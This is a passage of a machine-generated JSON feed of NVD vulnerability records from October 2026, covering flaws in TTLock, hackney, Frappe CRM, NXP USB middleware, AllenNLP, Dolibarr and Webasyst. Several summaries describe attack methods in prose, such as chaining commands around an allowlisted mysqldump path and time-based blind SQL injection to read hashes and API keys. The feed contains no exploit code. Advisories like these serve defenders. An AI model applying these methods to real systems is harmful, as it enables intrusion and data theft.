fixes.","publishedAt":"2026-10-26T15:16:39.480Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115930","asOf":"2026-10-26T16:54:08.707Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115930","type":"primary","publishedAt":"2026-10-26T15:16:39.480Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112345","cveId":"CVE-2026-112345","aliases":[],"kind":"vulnerability","title":"TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to...","summary":"TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to decrypt the per-pairing session key transmitted during BLE pairing. Attackers can observe the pairing exchange, recover the persistent session key using the embedded defaultKey, and forge authenticated BLE requests to unlock the device, add fingerprints or access codes, and perform administrative actions without authentication or user interaction.","detail":"TTLock Android application before v9.8.260718 and associated smart-lock firmware contain a hardcoded static AES key vulnerability that allows an attacker within Bluetooth range to decrypt the per-pairing session key transmitted during BLE pairing. Attackers can observe the pairing exchange, recover the persistent session key using the embedded defaultKey, and forge authenticated BLE requests to unlock the device, add fingerprints or access codes, and perform administrative actions without authentication or user interaction.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T15:16:38.167Z","updatedAt":"2026-10-26T17:17:15.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112345","asOf":"2026-10-26T17:17:15.647Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112345","type":"primary","publishedAt":"2026-10-26T15:16:38.167Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97200","cveId":"CVE-2026-97200","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or highly compressed response body. hackney:request/5 and hackney:body/1 return the whole response body, and nothing bounds how much the connection process buffers. Any server the client requests can trigger it.\n\nhackney_conn:read_full_body/2 and the HTTP/2 and HTTP/3 accumulators append every chunk until the body ends. With {auto_decompress, true} the buffered body is then inflated in one step with zlib:gunzip/1 or zlib:inflate/2, which return the whole output at once.\n\nThis issue affects hackney: from 2.0.0-beta.1 before 4.9.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in hackney_conn in benoitc hackney allows a malicious HTTP server to exhaust client memory via an oversized or highly compressed response body. hackney:request/5 and hackney:body/1 return the whole response body, and nothing bounds how much the connection process buffers. Any server the client requests can trigger it.\n\nhackney_conn:read_full_body/2 and the HTTP/2 and HTTP/3 accumulators append every chunk until the body ends. With {auto_decompress, true} the buffered body is then inflated in one step with zlib:gunzip/1 or zlib:inflate/2, which return the whole output at once.\n\nThis issue affects hackney: from 2.0.0-beta.1 before 4.9.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:42.180Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97200","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97200","type":"primary","publishedAt":"2026-10-26T14:16:42.180Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116492","cveId":"CVE-2026-116492","aliases":[],"kind":"vulnerability","title":"Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to...","summary":"Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to access by querying the get_contact_by_phone_number API, which performs raw database queries without invoking the permission system. Attackers can supply a known phone number to the crm.integrations.api.get_contact_by_phone_number endpoint to retrieve full lead details otherwise blocked by standard API and UI access controls, resulting in unauthorized disclosure of sensitive CRM data.","detail":"Frappe CRM app before 1.89.1 contains a missing authorization vulnerability that allows authenticated low-privileged users to read CRM Lead records they are not permitted to access by querying the get_contact_by_phone_number API, which performs raw database queries without invoking the permission system. Attackers can supply a known phone number to the crm.integrations.api.get_contact_by_phone_number endpoint to retrieve full lead details otherwise blocked by standard API and UI access controls, resulting in unauthorized disclosure of sensitive CRM data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:37.667Z","updatedAt":"2026-10-26T17:13:18.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116492","asOf":"2026-10-26T17:13:18.183Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116492","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116492","type":"primary","publishedAt":"2026-10-26T14:16:37.667Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116488","cveId":"CVE-2026-116488","aliases":[],"kind":"vulnerability","title":"NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied...","summary":"NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied bNumEndpoints and bLength values. A malicious USB device can supply crafted descriptors that write endpoint entries past the fixed-size epList array, corrupting heap memory for code execution or denial of service.","detail":"NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied bNumEndpoints and bLength values. A malicious USB device can supply crafted descriptors that write endpoint entries past the fixed-size epList array, corrupting heap memory for code execution or denial of service.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:37.520Z","updatedAt":"2026-10-26T14:16:37.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116488","asOf":"2026-10-26T14:16:37.520Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116488","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116488","type":"primary","publishedAt":"2026-10-26T14:16:37.520Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116275","cveId":"CVE-2026-116275","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component...","summary":"A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component Registrable Configuration Machinery. Performing a manipulation of the argument Type results in code injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was found in AllenAI AllenNLP up to 2.10.1. This impacts the function Registrable.resolve_class_name of the file allennlp/common/registrable.py of the component Registrable Configuration Machinery. Performing a manipulation of the argument Type results in code injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:35.353Z","updatedAt":"2026-10-26T17:17:25.517Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116275","asOf":"2026-10-26T17:17:25.517Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116275","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116275","type":"primary","publishedAt":"2026-10-26T14:16:35.353Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116219","cveId":"CVE-2026-116219","aliases":[],"kind":"vulnerability","title":"Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the...","summary":"Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the restrict_os_commands allowlist. Attackers can submit a mysqldump value chaining commands with & characters around an allowlisted basename to execute operating system commands as the web server user.","detail":"Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the restrict_os_commands allowlist. Attackers can submit a mysqldump value chaining commands with & characters around an allowlisted basename to execute operating system commands as the web server user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:35.000Z","updatedAt":"2026-10-26T14:16:35.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116219","asOf":"2026-10-26T14:16:35.123Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116219","type":"primary","publishedAt":"2026-10-26T14:16:35.000Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116218","cveId":"CVE-2026-116218","aliases":[],"kind":"vulnerability","title":"Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts...","summary":"Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts REST endpoint. Attackers with only societe/creer permission can break out of the unescaped type value in CompanyBankAccount::create() to read password hashes and API keys via time-based blind subqueries.","detail":"Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts REST endpoint. Attackers with only societe/creer permission can break out of the unescaped type value in CompanyBankAccount::create() to read password hashes and API keys via time-based blind subqueries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:34.823Z","updatedAt":"2026-10-26T14:16:34.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116218","asOf":"2026-10-26T14:16:34.953Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116218","type":"primary","publishedAt":"2026-10-26T14:16:34.823Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116210","cveId":"CVE-2026-116210","aliases":[],"kind":"vulnerability","title":"Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does...","summary":"Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in 